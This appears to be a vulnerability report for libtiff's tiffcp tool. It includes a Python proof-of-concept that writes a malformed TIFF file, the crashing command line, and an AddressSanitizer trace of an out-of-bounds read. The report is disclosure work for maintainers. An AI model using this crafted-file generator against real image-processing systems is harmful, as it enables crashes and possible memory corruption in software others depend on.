[Bug] Protential buffer-overflow crash in tiffcp.c

Summary

Hi team, I found another overflow in tiffcp.c.

I’ll follow up with a detailed root cause analysis shortly. I’m currently on a flight and unable to add it right now, sorry for that.

Version

master

Steps to reproduce We can run the following code to build a poc file

import struct
import os

def create_poc_tiff(filename):
  
    header = b'II\x2a\x00\x08\x00\x00\x00'
    width = 40000
    length = 1  # Only 1 row to minimize memory pressure slightly
    spp = 60000
    def make_tag(tag, datatype, count, value):
        return struct.pack('<HHII', tag, datatype, count, value)

    num_tags = 10
    ifd_size = 2 + (12 * num_tags) + 4
    data_offset_start = 8 + ifd_size
    
  
    strip_byte_counts_offset = data_offset_start
    image_data_offset = data_offset_start + 8 

    tags = [
        make_tag(256, 4, 1, width),        # ImageWidth = 40000
        make_tag(257, 4, 1, length),       # ImageLength = 1
        make_tag(258, 3, 1, 8),            # BitsPerSample = 8
        make_tag(259, 3, 1, 1),            # Compression = 1 (None)
        make_tag(262, 3, 1, 1),            # PhotometricInterpretation = 1 (MinIsBlack)
        make_tag(273, 4, 1, image_data_offset), # StripOffsets
        make_tag(277, 3, 1, spp),          # SamplesPerPixel = 60000
        make_tag(278, 4, 1, 1),            # RowsPerStrip = 1
        make_tag(279, 4, 1, strip_byte_counts_offset), # StripByteCounts (indirect)
        make_tag(284, 3, 1, 1),            # PlanarConfiguration = 1 (Contig)
    ]
    
    tags.sort(key=lambda x: struct.unpack('<H', x[:2])[0])

    with open(filename, 'wb') as f:
        f.write(header)
        f.write(struct.pack('<H', num_tags)) # Number of entries
        for tag in tags:
            f.write(tag)
        f.write(struct.pack('<I', 0)) # Next IFD offset (0)

        f.write(struct.pack('<I', width * spp * length)) # StripByteCounts value

 
        f.seek(image_data_offset + (width * spp * length) - 1)
        f.write(b'\x00')


if __name__ == "__main__":
    create_poc_tiff("trigger.tif")

Then we run

 ../build-asan/tools/tiffcp -m 0 -t -w 16 -p separate trigger.tif out.tif

And we can see

TIFFReadDirectory: Warning, Sum of Photometric type-related color channels and ExtraSamples doesn't match SamplesPerPixel. Defining non-color channels as ExtraSamples..
TIFFReadDirectory: Warning, Bogus "StripByteCounts" field, ignoring and calculating from imagelength.
AddressSanitizer:DEADLYSIGNAL
=================================================================
==3302208==ERROR: AddressSanitizer: SEGV on unknown address 0x75fb45e0f400 (pc 0x5606de8cedde bp 0x7ffda174f2b0 sp 0x7ffda174f270 T0)
==3302208==The signal is caused by a READ memory access.
    #0 0x5606de8cedde in cpContigBufToSeparateBuf /ACT/fuz/targets/libtiff/tools/tiffcp.c:1595
    #1 0x5606de8d1192 in writeBufferToSeparateTiles /ACT/fuz/targets/libtiff/tools/tiffcp.c:2119
    #2 0x5606de8cf07e in cpImage /ACT/fuz/targets/libtiff/tools/tiffcp.c:1645
    #3 0x5606de8d1437 in cpContigStrips2SeparateTiles /ACT/fuz/targets/libtiff/tools/tiffcp.c:2154
    #4 0x5606de8cd29d in tiffcp /ACT/fuz/targets/libtiff/tools/tiffcp.c:1166
    #5 0x5606de8c9eff in main /ACT/fuz/targets/libtiff/tools/tiffcp.c:396
    #6 0x75fdcbc29d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #7 0x75fdcbc29e3f in __libc_start_main_impl ../csu/libc-start.c:392
    #8 0x5606de8c88e4 in _start (/mnt/data3/weisong/ACT/fuz/targets/libtiff/build-asan/tools/tiffcp+0x48e4)

AddressSanitizer can not provide additional info.